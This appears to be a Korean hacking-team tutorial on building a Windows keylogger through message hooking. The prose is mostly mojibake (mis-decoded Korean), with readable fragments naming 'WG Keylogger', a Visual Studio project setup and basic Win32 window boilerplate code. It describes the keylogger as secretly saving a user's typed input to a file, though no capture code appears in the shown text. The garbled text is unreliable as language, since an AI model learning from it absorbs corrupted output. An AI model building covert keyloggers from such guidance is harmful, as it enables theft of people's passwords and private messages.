À¸Èå. ¾È´¨~! ÀÚ¶û½º·± WiseGuys ÆÀ¿øµé!
¾ÆÁÖ ¿À·£¸¸¿¡ ÆÀ¿øµéÀ» À§ÇØ ¾²´Â °­Á±º¿ä. ¾ÕÀ¸·Î WG Document Á¦µµ°¡
Àû±Ø Ȱ¼ºÈ­µÇ¾î Àú¸¦ ºñ·ÔÇÑ ¸ðµç ÆÀ¿øµéÀÌ ÁÖ¿Á°°Àº ¹®¼­µéÀ» ¸¹ÀÌ ¸¸µé¾î
³»¼ÌÀ¸¸é ÇÏ´Â ¹Ù·¥À» °¡Áö¸é¼­ °­Á¸¦ ½ÃÀÛÇϰڽÀ´Ï´Ù.

¾î¶² °ÍÀ» ÁÖÁ¦·Î ù ¹øÂ° WG Document¸¦ ¸¸µé±î °í½ÉÇÏ´ø Áß Àç¹ÌÀÖ´Â °ÍÀ»
¹è¿ì°Ô µÇ¾ú½À´Ï´Ù. ±× ³»¿ëÀº ¹Ù·Î À©µµ¿ì ±â¹ÝÀÇ Message¸¦ HookingÇÏ¿©
»ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¸ô·¡ °¡·Îä´Â ۷αë ÅøÀ» ¸¸µå´Â ¹æ¹ýÀÔ´Ï´Ù. ¹°·Ð, Ç×»ó ±×·¸
µíÀÌ À̰ÍÀ» ¸¸µé¾î¼­ ¿·Áý ¼øÀÚ°¡ ¾ÖÀο¡°Ô º¸³»´Â À̸ÞÀÏÀ» ÈÉÃĺ¸ÀÚ´Â Àǵµ°¡
¾Æ´Õ´Ï´Ù. À©µµ¿ì ȯ°æ¿¡¼­ÀÇ HookingÀ̶ó! ¸»¸¸ µé¾îµµ ¾ó¸¶³ª ¸ÚÁø ¸»ÀԴϱî?
ÀÌ ¹®¼­¸¦ º¸°í Á÷Á¢ Ű·Î°Å ÅøÀ» ¸¸µå´Â ½Ç½ÀÀ» ÇØº½À¸·Î½á, À©µµ¿ì ÇÁ·Î±×·¡¹ÖÀÇ
±âÃÊ, ±×¸®°í À©µµ¿ì ÇØÅ·¿¡ ´ëÇÑ Áö½ÄÀ» ÇÑÃþ UPGRADE ½ÃŰ½Ç ¼ö ÀÖ±æ ¹Ù¶ø´Ï´Ù.

¸ÕÀú, ÀÌ ³»¿ëÀº "ÇØÅ·/ÆÄ±«ÀÇ ±¤ÇÐ"À̶ó´Â ¼­ÀûÀÇ ³»¿ëÀ» Åä´ë·Î ÀÛ¼ºÇÑ °ÍÀÓÀ»
¹àÈü´Ï´Ù. ÀÎÅÍ³Ý ¼­Á¡À» ÅëÇØ º¸¾È ¼­ÀûµéÀ» ±¸°æÇÏ´ø Áß ´Ù¼Ò ¾ïÁö½º·± Á¦¸ñÀ»
º¸°í ¹«½ÃÇß¾úÀ¸³ª, ¸ñÂ÷¸¦ º» ÈÄ È¤½Ã³ª ÇØ¼­ ±¸ÀÔÇߴµ¥ ¸Å¿ì ´ë¸¸Á·ÀÔ´Ï´Ù.
¾Æ¸¶µµ ±¹³»¿¡¼± À¯ÀÏÇÏ°Ô À©µµ¿ì ½Ã½ºÅÛ ÇØÅ·¿¡ ´ëÇØ ±í°Ô ´Ù·é ¼­ÀûÀÌ ¾Æ´Ñ°¡
½Í³×¿ä. Message Hooking¿¡ ´ëÇÑ ³»¿ëÀº Á¦ 3Àå¿¡ ³ª¿ÍÀÖ±¸¿ä. ÇÙ½ÉÀûÀÎ ³»¿ë¸¸
³ª¿ÍÀֱ⠶§¹®¿¡ ¿­Àå Á¤µµ¹Û¿¡ µÇÁö ¾Ê½À´Ï´Ù. ƯÈ÷ µ¶ÀÚ°¡ À©µµ¿ì ÇÁ·Î±×·¡¹Ö
Áö½ÄÀÌ ÀÖ´Ù°í °¡Á¤ÇÏ°í ¼³¸íÇÏ¿´±â ¶§¹®¿¡ Ãʺ¸µéÀÌ º¸±â¿¡´Â ¹«¸®°¡ ÀÖÀ»°Ì´Ï´Ù.
µû¶ó¼­, ÀÌ °­Á¿¡¼± À©µµ¿ì ÇÁ·Î±×·¡¹Ö¿¡ ´ëÇÑ ¼¼ºÎÀûÀÎ ¼³¸í°ú Ű·Î°Å ÅøÀ» °­È­
½Ãų ¼ö ÀÖ´Â ¸î °¡Áö Å×Å©´Ð µîÀ» Ãß°¡ÇÏ¿© ¼³¸íÇϵµ·Ï ÇϰڽÀ´Ï´Ù.

¡Ý ÀÌ ¹®¼­ÀÇ ³»¿ëÀ» ½Ç½ÀÇϱâ À§ÇØ ÇÊ¿äÇÑ °Í : Visual Studio 6.0 ÀÌ»ó.
¡Ý ÀÌ ¹®¼­¸¦ ÇнÀÇÔÀ¸·Î½á ¹è¿ï ¼ö ÀÖ´Â °Íµé : À©µµ¿ì ÇÁ·Î±×·¡¹Ö ±âÃÊ, ¸Þ½ÃÁö
ÈÄÅ·ÀÇ ¿ø¸®, ÇÑ±Û ¿ÀÅ丶Ÿ ¾Ë°í¸®Áò, ±× ¿Ü À©µµ¿ì ÇÁ·Î±×·¡¹Ö Å×Å©´Ð.

Áö±Ý ¾Æ¸¶µµ Á¦°¡ ¾î¶»°Ô ¹» ¼³¸íÇØ ³ª°¥Áö ±Ã±ÝÇÏ½Ç °Ì´Ï´Ù. µû¶ó¼­, ÀÌ ¹®¼­ÀÇ
Àü¹ÝÀûÀÎ ³»¿ëÀ» Çѹø ¿ä¾àÇÑ ÈÄ ÁøÇàÀ» Çϵµ·Ï ÇϰڽÀ´Ï´Ù.

¸ÕÀú, ¸Þ½ÃÁö ÈÄÅ·À̶õ ¹«¾ùÀÎÁö¿¡ ´ëÇØ ¼³¸íÇÒ °Ì´Ï´Ù. ±× ´ÙÀ½¿£ ¿ì¸®°¡ ¸¸µé
۷ΰÅÀÇ ±¸Çö ¾Ë°í¸®ÁòÀ» Á¤¸®ÇÒ °Å±¸¿ä. ´ÙÀ½¿£ ¹Ù·Î ĸÃÄ È­¸éµéÀ» ÷ºÎÇÏ¿©
ÃÖ´ëÇÑ ÀÌÇØÇϱ⠽±°Ô ±¸Çö °úÁ¤À» ¼³¸íÇϵµ·Ï ÇϰڽÀ´Ï´Ù. °¡Àå ±âº»ÀûÀΠ۷αë
ÅøÀÌ ¿Ï¼ºµÇ¸é, ¾î¶² Ãß°¡ÀûÀÎ ±â´ÉµéÀÌ ÀÖÀ¸¸é ÁÁÀ»Áö¿¡ ´ëÇØ ¼³¸íÇϰڽÀ´Ï´Ù.
±× ´ÙÀ½¿£ ½ÇÁ¦ ±× ±â´ÉµéÀ» Ãß°¡ÇØ ³ª°¡µµ·Ï Çϰí, ¸¶Áö¸·À¸·Î ¿Ï¼ºµÈ ÅøÀÇ
ÀÛµ¿À» ½Ã¿¬ÇØ º¸µµ·Ï ÇϰڽÀ´Ï´Ù. ±â´ë°¡ µÇ½Ã³ª¿ä~?

¡Ý ¸Þ½ÃÁö ÈÄÅ·(Message Hooking)À̶õ ¹«¾ùÀΰ¡?

¿©±â¼­ ÈÄÅ·À̶õ ´Ü¾î´Â Áö³­¹ø ¿ì¸®°¡ ¸®´ª½º ȯ°æ¿¡¼­ "½Ã½ºÅÛ ÄÝ ÈÄÅ·"À»
¹è¿üÀ» ¶§ÀÇ ±× ÈÄÅ·°ú °°Àº ÀǹÌÀÔ´Ï´Ù. ÈÄÅ·À̶ó´Â ´Ü¾î´Â "°¡·Îä´Ù"¶ó´Â
»çÀüÀû Àǹ̸¦ °¡Áö°í ÀÖÀ¸¸ç, ÇØÅ· ºÐ¾ß¿¡¼­´Â "±âÁ¸¿¡ ÀÖ´Â Á¤»óÀûÀÎ ¹«¾ð°¡¸¦
Áß°£¿¡ °¡·Îä¾î »ì¦Äô º¯°æÇÑ´Ù" Á¤µµÀÇ Àǹ̷Π»ç¿ëµË´Ï´Ù.

½±°Ô ¿¹¸¦ Çѹø µé¾îº¾½Ã´Ù. ¾î¿©»Û ¸Û¼øÀÌ, ±×¸®°í ¸ÚÁø ¸Û¸ÛÀÌ, ¸¶Áö¸·À¸·Î
±×µé »çÀÌ¿¡ ÁúÅõÀïÀÌ ±¸Å¸°¡ ÀÖ´Ù°í ÇØº¾½Ã´Ù. ¸Û¸ÛÀÌ´Â ¸Û¼øÀ̸¦ À§ÇØ ÀÌ»Û
¹ÝÁö¸¦ Çϳª »ò°í, Àú³á¿¡ ÁÖ±â À§ÇØ ¼­¶ø¿¡ Àá±ñ º¸°üÇØ µÎ¾ú½À´Ï´Ù.
±×·±µ¥, ¸Û¸ÛÀ̰¡ ÀÚ¸®¸¦ Àá±ñ ºñ¿î »çÀÌ¿¡ ÁúÅõÀïÀÌ ±¸Å¸°¡ ¿Í¼­ ±× ¹ÝÁö°¡
µéÀº ÅëÀ» ¿­¾î ¹ÝÁö¿¡ ²­À» ºÙ¿© ³õ½À´Ï´Ù. ÀÌ·¸°Ô Áß°£¿¡ »ì¦ Á¶ÀÛµÈ ¹ÝÁö¸¦
¹ÞÀº ¸Û¼øÀÌ´Â "¸Û¸Û! ³Ê¹« °í¸¶¿ö~! ±Ùµ¥ ÀÌ ²­Àº ¹¹ ¾î¼ÀÚ´Â °Å¾ß?"¶ó°í ¸»ÇϰÚÁÒ?
ÀÌó·³ ÈÄÅ·Àº ±âÁ¸ÀÇ °ÍÀ» »ì¦ ¼öÁ¤Çϰųª ¾Æ¿¹ ¿ÏÀüÈ÷ ´Ù¸¥ °ÍÀ¸·Î ¹Ù²ãÄ¡±â
ÇØ¹ö¸®´Â °ÍÀ» ¸»ÇÕ´Ï´Ù.

ÀÌÁ¦ ½ÇÁúÀûÀ¸·Î ¿¹¸¦ µé¾îº¾½Ã´Ù. ¸Þ½ÃÁö.! À§µµ¿ì ½Ã½ºÅÛÀº ¸Þ½ÃÁö¶ó´Â °ÍÀ»
±â¹ÝÀ¸·Î ÀÛµ¿ÇÕ´Ï´Ù. ¸®´ª½º³ª µµ½º¿Í ºñ±³ÇØ º¼±î¿ä? ¸®´ª½º³ª µµ½º´Â ¼øÂ÷ÀûÀÎ
ÄÚµåÀÇ È帧¿¡ µû¶ó ½ÇÇàµË´Ï´Ù. Äڵ带 µû¶ó°¡´Ù A°¡ ³ª¿À¸é A¸¦ ½ÇÇàÇϰí, ¶Ç
B°¡ ³ª¿À¸é B¸¦ ½ÇÇàÇÕ´Ï´Ù. ÇÏÁö¸¸, À©µµ¿ì´Â ±×·¸Áö ¾Ê½À´Ï´Ù. À©µµ¿ì ȯ°æ¿¡¼­
½ÇÇàµÈ ÇÁ·Î±×·¥Àº Ç×»ó ´ë±â »óÅ¿¡ ÀÖ½À´Ï´Ù. ±×¸®°í ƯÁ¤ ¸Þ½ÃÁö°¡ ¹ß»ýÇϸé,
±×¿¡ ÀûÇÕÇÑ ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù. ¿¹¸¦µé¾î A¶ó´Â ¸Þ½ÃÁö°¡ ¹ß»ýÇϸé A¿¡ ¸Â´Â
ÀÛ¾÷À» ¼öÇàÇϰí, B¶ó´Â ¸Þ½ÃÁö°¡ ¹ß»ýÇϸé B¿¡ ¸Â´Â ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù.

¿¹¸¦µé¾î, ¿ì¸®°¡ ¾î¶² À©µµ¿ì ÇÁ·Î±×·¥À» ½ÇÇà½ÃÄÑ ³õ°í ¸¶¿ì½º ¿ÞÂÊ ¹öưÀ»
Ŭ¸¯Çϸé WM_LBUTTONDOWN À̶ó´Â ¸Þ½ÃÁö°¡ ¹ß»ýÇÕ´Ï´Ù. ÀÌ ¸Þ½ÃÁö¸¦ ¹ÞÀº ÇÁ·Î
±×·¥Àº ÇÁ·Î±×·¡¸Ó¿¡ÀÇÇØ ÀÛ¼ºµÈ ÇÔ¼ö³ª ÄÚµå. ¿¹¸¦µé¸é connect_to_server()¿Í
°°Àº ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù. "´ë±â »óÅ·ΠÀÖ´Ù°¡ »ç¿ëÀÚ°¡ Ưº°ÇÑ ÇൿÀ»ÇÏ¿©
¸Þ½ÃÁö°¡ ¹ß»ýÇÏ¸é ±×¿¡ ÀûÇÕÇÑ ÀÛ¾÷À» ¼öÇàÇÑ´Ù" ¿ì¸®°¡ Æò»ó½Ã »ç¿ëÇÏ´Â À©µµ¿ì
ÇÁ·Î±×·¥µéÀÇ °øÅëÀûÀΠƯ¡ÀÓÀ¸·Î ½±°Ô ÀÌÇØ°¡ °¥ °ÍÀÔ´Ï´Ù.
¶Ç, Àá½Ã ÈÄ ÀÌ·¯ÇÑ ¸Þ½ÃÀÚ Ã³¸® °úÁ¤À» Á÷Á¢ ±¸ÇöÇØ º¼ °ÍÀÓÀ¸·Î Áö±Ý ¿ÏÀüÈ÷
ÀÌÇØÇÏÁö ¸øÇÏ´õ¶óµµ »ó°ü ¾ø½À´Ï´Ù.

±×·³ ¸Þ½ÃÁö ÈÄÅ·ÀÇ ¿¹¸¦ µé¾îº¼±î¿ä? ¸¸¾à ÇÁ·Î±×·¡¸Ó°¡ ÀÌ·¸°Ô ÄÚµùÀ» Çß´Ù°í
ÇØº¾½Ã´Ù. "WM_LBUTTONDOWNÀ̶ó´Â ¸Þ½ÃÁö°¡ ¹ß»ýÇϸé, ¸ð´ÏÅÍ¿¡ Ãâ·ÂµÇ¾îÀÖ´Â È­¸éÀ»
Á¿ì·Î ¸¶±¸ Èçµé¾î¶ó." ±×·±µ¥ ÀÌÁ¦ ÇØÄ¿°¡ ÀÌ WM_LBUTTONDOWN ¸Þ½ÃÁö¸¦ ´ÙÀ½°ú
°°ÀÌ ÈÄÅ·ÇÕ´Ï´Ù.

"WM_LBUTTONDOWN ¸Þ½ÃÁö°¡ ¹ß»ýÇϸé, ¸ð´ÏÅÍÀÇ ³»¿ëÀ» »óÇÏ·Î Àý¶ó°Ô Èçµé¾î¶ó.
±×¸®°í, Èçµå´Â°Ô ³¡³ª¸é ¿ø·¡ÀÇ ÀÛ¾÷À» ¼öÇàÇ϶ó."

¡Ý Á¤»óÀûÀÎ °úÁ¤
ÇÁ·Î±×·¥ ½ÇÇà -> ¸¶¿ì½º ¿ÞÂÊ ¹öư Ŭ¸¯ -> È­¸éÀ» Á¿ì Èçµé±â

¡Ý ¸Þ½ÃÁö°¡ ÈÄÅ·µÈ ÈÄÀÇ °úÁ¤
ÇÁ·Î±×·¥ ½ÇÇà -> ¸¶¿ì½º ¿ÞÂÊ ¹öư Ŭ¸¯ -> »óÇÏ·Î Èçµé±â -> Á¿ì·Î Èçµé±â

¾à°£ ¾ó¶³¶³ÇÏ°Ô ÀÌÇØÇÏ°í °è½Å »óÅ¿¡¼­ ÀÌÁ¦ Á¦°¡ ۷ΰÅÀÇ ±¸Çö ¿ø¸®¸¦ ¼³¸íÇØ
µå¸®¸é ÆÅ ÀÌÇØ°¡ µÇ½Ç °Ì´Ï´Ù. ´ÙÀ½Àº ¸Þ½ÃÁö¸¦ ÈÄÅ·ÇÏ¿© Űº¸µå ÀÔ·ÂÀ» °¡·Îä´Â°úÁ¤ÀÔ´Ï´Ù.

¡Ý Á¤»óÀûÀÎ °úÁ¤
ÇÁ·Î±×·¥ ½ÇÇà -> »ç¿ëÀÚ°¡ X¶ó°í ÀÔ·Â -> ÀÔ·ÂµÈ X°¡ È­¸é¿¡ Ãâ·ÂµÊ

¡Ý ¸Þ½ÃÁö°¡ ÈÄÅ·µÈ ÈÄÀÇ °úÁ¤
ÇÁ·Î±×·¥ ½ÇÇà -> »ç¿ëÀÚ°¡ X¶ó°í ÀÔ·Â -> ƯÁ¤ ÆÄÀÏ¿¡ »ì¦Äô ÀúÀå -> X°¡ Ãâ·Â

¸Å¿ì ´Ü¼øÇÑ ¿ø¸®ÁÒ? ½ÇÁ¦ ±¸Çö °úÁ¤ ¿ª½Ã ¸Å¿ì °£´ÜÇÏ´ä´Ï´Ù. ±×·³ Áö±Ý±îÁö ¹è¿î °³³äÀûÀÎ ³»¿ëÀ»
½ÇÁ¦ ÇÁ·Î±×·¥À¸·Î ±¸ÇöÇØ º¸µµ·Ï ÇϰڽÀ´Ï´Ù. ÇÁ·Î±×·¥ ±¸ÇöÀ»
Çѹø ÇØº¸°í ¾Õ¼­ È®½ÇÈ÷ ÀÌÇØÇÏÁö ¸øÇß´ø ºÎºÐµéÀ» ´Ù½Ã Àо½Ã¸é À̹ø¿£ ¾ÆÁÖ
½±°Ô ÀÌÇØ°¡ µÉ °ÍÀÔ´Ï´Ù. ¿ª½Ã ½Ç½ÀÀÌ Â¯À̶û²²~!

±×·³ ÀÌÁ¦ ºñÁê¾ó ½ºÆ©µð¿À¸¦ ½ÇÇàÇϽðí, ´ÙÀ½ÀÇ ¼ø¼­·Î ÄÚµù Áغñ¸¦ ÇÕ´Ï´Ù.
ºñÁê¾ó ½ºÆ©µð¿À°¡ ¾øÀ¸½Å ºÐÀº Á÷Á¢ ±¸Çϼż­ µû¶óÇϽôøÁö, ¾Æ´Ï¸é ±×³É ĸÃÄ
È­¸é¸¸ º¸°í ¹è¿ì½Ã±â ¹Ù¶ø´Ï´Ù. ¹°·Ð, Á÷Á¢ µû¶óÇϽŠºÐ°ú ´«À¸·Î º¸±â¸¸ ÇÑ ºÐ
»çÀÌ¿¡´Â ¾öû³­ Â÷À̰¡ ÀÖÀ» °ÍÀÔ´Ï´Ù. 'ÇÒ ¼ö ÀÖÀ» °Å °°´Ù'¿Í 'ÇÒ ¼ö ÀÖ´Ù'´Â
¿ÏÀüÈ÷ ´Ù¸¥ °ÍÀ̰ŵç¿ä.

¡Ý ÄÚµù Áغñ ¼ø¼­
1. Visual Studio ½ÇÇà
2. File - New¸¦ Ŭ¸¯ÇÑ ÈÄ, Projects ÅÇ¿¡¼­ Win32 Application ¼±ÅÃ



3. ¿À¸¥ÂÊÀÇ Project Name¿¡ WG Keylogger¶ó°í ÀÔ·Â ÈÄ OK ¹öư Ŭ¸¯.
4. ´ÙÀ½ âÀÌ ³ª¿À¸é Finish Ŭ¸¯. ±× ´ÙÀ½¿£ OK Ŭ¸¯.

ÀÌÁ¦ ÄÚµù Áغñ´Â ¿Ï·áµÇ¾ú½À´Ï´Ù. VC¿¡¼­ ÀÌ·¸°Ô ÇÁ·ÎÁ§Æ®¸¦ Çϳª »ý¼ºÇϸé,
c:\Program Files\Microsoft Visual Studio\MyProjects¿¡ »õ·Î¿î Æú´õ°¡ »ý±é´Ï´Ù.
(À§ÀÇ 2¹ø °úÁ¤¿¡¼­ ÀÌ Æú´õ¸¦ ÀÓÀÇ·Î º¯°æÇÒ ¼öµµ ÀÖ½À´Ï´Ù.)
»õ·Î¿î Æú´õ´Â ¿ì¸®°¡ Á¤ÇÑ WG Keylogger¶ó´Â À̸§À¸·Î »ý¼ºµÇ°í, ±× ¾È¿¡´Â
WG Keylogger.dsp, WG Keylogger.dsw, WG Keylogger.ncb ÀÌ·¸°Ô ¼¼ °³ÀÇ ÆÄÀÏÀÌ
ÀúÀåµË´Ï´Ù. ÀÌ ±âº»À¸·Î ¼¼ °³ÀÇ ÆÄÀÏÀº ÇØ´ç ÇÁ·ÎÁ§Æ®ÀÇ ±âº»ÀÌ µÇ´Â Á¤º¸µéÀ»
´ã°í ÀÖ½À´Ï´Ù. .dsp ÆÄÀÏÀº ÀÌ ÇÁ·ÎÁ§Æ®ÀÇ ÄÄÆÄÀÏ Á¤º¸¸¦ ´ã°í ÀÖ½À´Ï´Ù. ¸®´ª½º
¿Í ºñ±³Çغ¸¸é Makefile°ú ºñ½ÁÇÑ °ÍÀÔ´Ï´Ù. .dsw ÆÄÀÏÀº Àϸí work space ÆÄÀÏ·Î,
.dsp ÆÄÀÏÀÇ Á¤º¸¸¸À» ´ã°íÀֱ⠶§¹®¿¡ º°·Î Áß¿äÇÑ ¿ªÇÒÀº ÇÏÁö ¾Ê½À´Ï´Ù. ¸¸¾à
½Ç¼ö·Î »èÁ¦ÇÑ´Ù°í ÇÏ¿©µµ ´Ù½Ã »ý°Ü³ª´Â ±×·± ÆÄÀÏÀÔ´Ï´Ù. .ncb ÆÄÀÏ ¿ª½Ã ÇÁ·Î
Á§Æ®ÀÇ Àâ´ÙÇÑ Á¤º¸¸¦ ±â·ÏÇϴµ¥, .dsw¿Í ¸¶Âù°¡Áö·Î »èÁ¦Çصµ ´Ù½Ã »ý°Ü³³´Ï´Ù.
¿äÁ¡Àº »õ·Î¿î ÇÁ·ÎÁ§Æ®¸¦ »ý¼ºÇϸé 3°³ÀÇ »õ·Î¿î ÆÄÀÏÀÌ »ý°Ü³ª´Âµ¥, .dsp ÆÄÀÏÀÌ
°¡Àå Áß¿äÇϰí, ³ª¸ÓÁö 2°³´Â º°·Î Áß¿äÇÏÁö ¾Ê´Ù.. ¹¹ ÀÌ·± ¸»ÀÔ´Ï´Ù.

ÀÌÁ¦ ÀÌ ÇÁ·ÎÁ§Æ®¿¡ main.cpp¸¦ Ãß°¡ÇØ º¾½Ã´Ù. File - New¸¦ Ŭ¸¯ÇϽðí, À̹ø¿£
Files ÅÇ¿¡¼­ C++ Source FileÀ» ¼±ÅÃÇÕ´Ï´Ù. ¿À¸¥ÂÊÀÇ File ºÎºÐ¿¡´Â mainÀ̶ó°í
ÀÔ·ÂÇϽðí, ¸¶Áö¸·À¸·Î OK¸¦ Ŭ¸¯ÇÕ´Ï´Ù. ±×·³ ÀÌ ÇÁ·ÎÁ§Æ®¿¡ main.cppÀÌ Ãß°¡
µÇ±¸¿ä. È®ÀåÀÚ´Â cppÀÌÁö¸¸, ÄÚµùÀº C·ÎÇÏ´ø C++·ÎÇÏ´ø »ç¿ëÀÚ ¸¶À½ÀÔ´Ï´Ù.
Âü°í·Î ¿ì¸®´Â ¾ÕÀ¸·Î ´ëºÎºÐÀÇ ³»¿ëÀ» C·Î ÄÚµùÇØ ³ª°¥°Ì´Ï´Ù.



ÀÌÁ¦ È­¸éÀ» Àß º¾½Ã´Ù. ¾Æ¸¶ Visual StudioÀÇ ¸ÞÀÎ À©µµ¿ì´Â 2°³ ȤÀº 3°³ ÀÌ»ó
À¸·Î ³ª´µ¾îÁ® ÀÖÀ»°Ì´Ï´Ù. È­¸é ±¸¼ºÀº ÀÚ½ÅÀÇ ±¸¹Ì¿¡ ¸Â°Ô Á¶ÀýÇÏ½Ã¸é µË´Ï´Ù.
Àú´Â ´ÙÀ½°ú °°ÀÌ ¿ÞÂÊ¿¡ ¼Ò½º Äڵ尡 ¿À°í, ¿À¸¥ÂÊ¿¡ WorkSpace Tree°¡ ¿Àµµ·Ï
ÇÕ´Ï´Ù.



±×·³ ÀÌÁ¦ ÄÚµù¿¡ µé¾î°¡º¾½Ã´Ù. ¸ÕÀú °¡Àå ±âº»ÀûÀÎ À©µµ¿ì âÀ» ¸¸µé¾î º¸°Ú
½À´Ï´Ù. DOS³ª LINUX¿¡¼­ C¸¦ óÀ½ ¹è¿ï ¶§, "Hello, New World!"¸¦ Ãâ·ÂÇÏ´Â
ÇÁ·Î±×·¥À» ¸¸µéÁÒ? À©µµ¿ì API¸¦ óÀ½ ¹è¿ï ¶§´Â Åë»óÀûÀ¸·Î ÅÖ~ºó À©µµ¿ì Çϳª¸¦
¸¸µé¾î º¾´Ï´Ù. ±×·³ ÀÌÁ¦ ±×°ÍÀ» ¸¸µé¾î º¸°Ú½À´Ï´Ù.

¡Ý ±âº» À©µµ¿ì â ¸¸µé±â ¼ø¼­

1. WinMain() ÇÔ¼ö »ý¼º
2. »ý¼ºÇÒ À©µµ¿ìÀÇ ±¸Á¶Ã¼ °ªÀ» ä¿ò
3. ¿Ï¼ºµÈ ±¸Á¶Ã¼¸¦ À©µµ¿ì Ŭ·¡½º¿¡ µî·Ï
4. ÀÌ Å¬·¡½º¸¦ ÀÌ¿ëÇÏ¿© È­¸é¿¡ À©µµ¿ì »ý¼º

ÀÏ´Ü ¿©±â±îÁö ÇØº¸°Ú½À´Ï´Ù. ¸ÕÀú, WinMain() ÇÔ¼ö¸¦ ¸¸µé¾îº¾½Ã´Ù. À©µµ¿ì API
¿¡¼­ÀÇ WinMain() ÇÔ¼ö´Â ´ÙÀ½°ú °°Àº ¸ð½ÀÀÔ´Ï´Ù.

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
...
}

WinMainÀ̶õ À̸§Àº ÀÏ¹Ý C¾ð¾î¿¡¼­ÀÇ main°ú °°Àº ¿ªÇÒÀ» ÇÕ´Ï´Ù. Áï, ÇÁ·Î±×·¥
¿¡¼­ °¡Àå ¸ÕÀú ½ÇÇàµÇ´Â ÇÔ¼öÀÔ´Ï´Ù. ¶Ç, À©µµ¿ì API¿¡¼­´Â dos¿¡¼­¿Í´Â ´Þ¸®
º¯¼ö³ª ÇÔ¼ö¸¦ »ç¿ëÇÒ ¶§, ´ë¼Ò¹®ÀÚ¸¦ È®½ÇÇÏ°Ô ±¸ºÐÇØ ÁÖ¾î¾ßÇÕ´Ï´Ù.
WinMain ÇÔ¼öÀÇ ÀÎÀÚ°¡ Á¶±Ý º¹ÀâÇѵ¥¿ä. °£´Ü°£´ÜÇÏ°Ô ¼³¸íÇØ¼­, hInstance´Â
ÇÁ·Î±×·¥ ÀÚüÀÇ Æ÷ÀÎÅͶó°í »ý°¢ÇÏ½Ã¸é µÇ°í, ±× ´ÙÀ½ hPrevInstace´Â ÇØ´ç
ÇÁ·Î±×·¥ÀÌ µ¿½Ã¿¡ ¸î°³°¡ ½ÇÇàµÇ¾ú´ÂÁö¸¦ ÆÄ¾ÇÇÒ ¶§ »ç¿ëÇÏ´Â º¯¼öÀÔ´Ï´Ù.
lpCmdLineÀº LINUXÀÇ argv¿Í °°ÀÌ ÇÁ·Î±×·¥ÀÇ ÀÎÀÚ¸¦ ÀǹÌÇϱ¸¿ä. ¸¶Áö¸·À¸·Î
nShowCmd´Â ½ÇÇàµÇ´Â ÇÁ·Î±×·¥ÀÇ ¸ð¾çÀ» ³ªÅ¸³À´Ï´Ù.

±×·³ µÎ ¹øÂ° ¼ø¼­·Î ³Ñ¾î°¡¼­, »ý¼ºÇÒ À©µµ¿ìÀÇ ±¸Á¶Ã¼¸¦ Çϳª ¼±¾ðÇÑ ÈÄ, ±×
°ªµéÀ» ä¿ö³ª°¡º¾½Ã´Ù. ´ÙÀ½ÀÇ ÄÚµåµéÀ» WinMain ÇÔ¼ö ¾ÈÂÊ¿¡ ÀÔ·ÂÇØ ³ÖÀ¾½Ã´Ù.

HWND hWnd;        // Á¶±Ý ÀÖ´Ù°¡ ¸Þ¸ð¸®¿¡ À©µµ¿ì âÀ» »ý¼ºÇÑ ÈÄ, ±× À§Ä¡¸¦ ÀúÀåÇÒ
                        // ¸ñÀûÀÇ º¯¼öÀÔ´Ï´Ù.

MSG message;        // À©µµ¿ì¿¡¼­ ¹ß»ýÇÏ´Â ¸Þ½ÃÁöµéÀ» ÀúÀåÇÒ º¯¼öÀÔ´Ï´Ù.

WNDCLASS wndclass;        // È­¸é¿¡ »ý¼ºÇÒ À©µµ¿ì Ŭ·¡½º ¼±¾ð. Ŭ·¡½º¶ó´Â ´Ü¾î´Â
                          // À©µµ¿ì âÀÇ Æ¯Â¡µéÀ» ¸ð¾Æ³õÀº ¹­À½ Á¤µµ·Î »ý°¢ÇϽøé
                         // µË´Ï´Ù.

wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
// ÀÌ µÎ°³´Â Ãß°¡ ¸Þ¸ð¸®¸¦ »ç¿ëÇϰíÀÚÇÒ ¶§ »ç¿ëÇÏ´Â °ÍÀ̸ç, ½ÇÁ¦·Î´Â °ÅÀÇ
Ȱ¿ëµÇÁö ¾Ê½À´Ï´Ù. µÑ ´Ù 0À¸·Î ÁöÁ¤ÇÕ´Ï´Ù.

wndclass.hbrBackground = (HBRUSH)GetStockObject( GRAY_BRUSH );        
// ¸ÞÀÎ À©µµ¿ìÀÇ ¹è°æ»öÀ» ÁöÁ¤ÇÕ´Ï´Ù. ȸ»öÀ¸·Î ÇØº¼±î¿ä?

wndclass.hCursor = LoadCursor( NULL, IDC_ARROW );        
// À©µµ¿ì ¾È¿¡¼­ÀÇ ¸¶¿ì½º Ä¿¼­ ¸ð¾çÀÔ´Ï´Ù. ±âº» ¸ð¾çÀÎ È­»ìÇ¥(ARROW)·Î Çß½À´Ï´Ù.

wndclass.hIcon =  LoadIcon( NULL, IDI_APPLICATION );
// ¸ÞÀÎ À©µµ¿ìÀÇ ¾ÆÀÌÄÜ ¸ð¾çÀÔ´Ï´Ù. ±âº»À¸·Î Á¦°øµÇ´Â °ÍÀ» »ç¿ëÇß½À´Ï´Ù.

wndclass.hInstance =  hInstance;
// ÇÁ·Î±×·¥ÀÇ ÀνºÅϽºÀÔ´Ï´Ù. ÀνºÅϽº´Â ¾Õ¼­ ±× ÇÁ·Î±×·¥ ÀÚü¸¦ °¡¸®Å°´Â
°ÍÀ̶ó°í ¼³¸íÇß½À´Ï´Ù. WinMainÀÇ Ã¹ ¹øÀç ÀÎÀÚ·Î ¹ÞÀº °ÍÀ» ³Ö¾îÁÝ´Ï´Ù.

wndclass.lpfnWndProc = (WNDPROC)WndProc;
// ÀÌ À©µµ¿ì¿¡¼­ ¹ß»ýÇÏ´Â ¸Þ½ÃÁöµéÀ» ó¸®ÇÒ ÇÔ¼ö¸¦ ÁöÁ¤ÇÕ´Ï´Ù.

wndclass.lpszClassName =  "WG WINDOW";        
// ÀÌ À©µµ¿ì Ŭ·¡½ºÀÇ À̸§À» ÁöÁ¤ÇØ ³õ¾Æ¾ß ³ªÁß¿¡ ºÒ·¯¼­ »ç¿ëÇÒ ¼ö ÀÖ½À´Ï´Ù.

wndclass.lpszMenuName = NULL;
